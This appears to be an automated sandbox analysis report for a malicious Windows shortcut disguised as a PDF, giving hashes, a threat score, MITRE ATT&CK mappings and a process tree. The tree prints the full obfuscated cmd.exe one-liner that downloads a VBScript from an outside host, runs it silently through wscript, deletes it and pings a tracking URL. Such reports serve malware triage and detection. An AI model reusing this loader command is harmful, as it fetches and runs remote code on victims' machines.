f06890d7f666d13fd4416bc8f6a275c557a97dc4ddbb5ada79774c5dfcb6ee2c

Analysis

max time kernel
298s
max time network
234s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 16:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
doc549824.pdf.lnk
Size 1KB
Sample260808-tvalbshr9v
SHA256 f06890d7f666d13fd4416bc8f6a275c557a97dc4ddbb5ada79774c5dfcb6ee2c
MD5 04b9326ddeaed0c7723226d41ef3789e
SHA1 e3dd6a4f2f33fdb85a4410da9b91d975522db0ee
SHA512 e834d177c6f011756960ba18acd3c6cabaadd09f4c53943e126ad60c96490593bd3262adb04bc491ad34547433f84708552adee10f285e3bf3bdd5755d4f8ed5
TLSH
T1E82168981ED40634F7B9CD3AC4BD8751582A7A5AFC298A0D44D44E8E1012A13EBB7F2E
MD5 SHA1 SHA512 TLSH

Score

5^/10

execution

Malware Config

Signatures

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4916	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1580	cmd.exe
3756	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 3756	1580	cmd.exe	90
PID 3756 wrote to memory of 4916	3756	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\doc549824.pdf.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1580
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:ON /Q /D /C "set h1=https://88.212.109.208.hos&set j5=t.secureserver.net/?vbs=1&s=20c67a3f-934d-d622-b972-240c6791ecfc&u=&set g9=cur&set g9=C:\Users\Admin\AppData\Local\Temp\9c459&set b6=vb&set v5=ws&!g9!l -sLo "!g9!.!b6!s" "!h1!!j5!" 2>nul&!v5!cript //B "!g9!.!b6!s"&del /f /q "!g9!.!b6!s" 2>nul&set z6=https://88.212.109.208.hos&set m4=t.secureserver.net/?trk=1&y=exec&s=20c67a3f-934d-d622-b972-240c6791ecfc&u=&!g9!l -sL "!z6!!m4!" >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\System32\wscript.exe
    wscript //B "C:\Users\Admin\AppData\Local\Temp\9c459.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:4916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads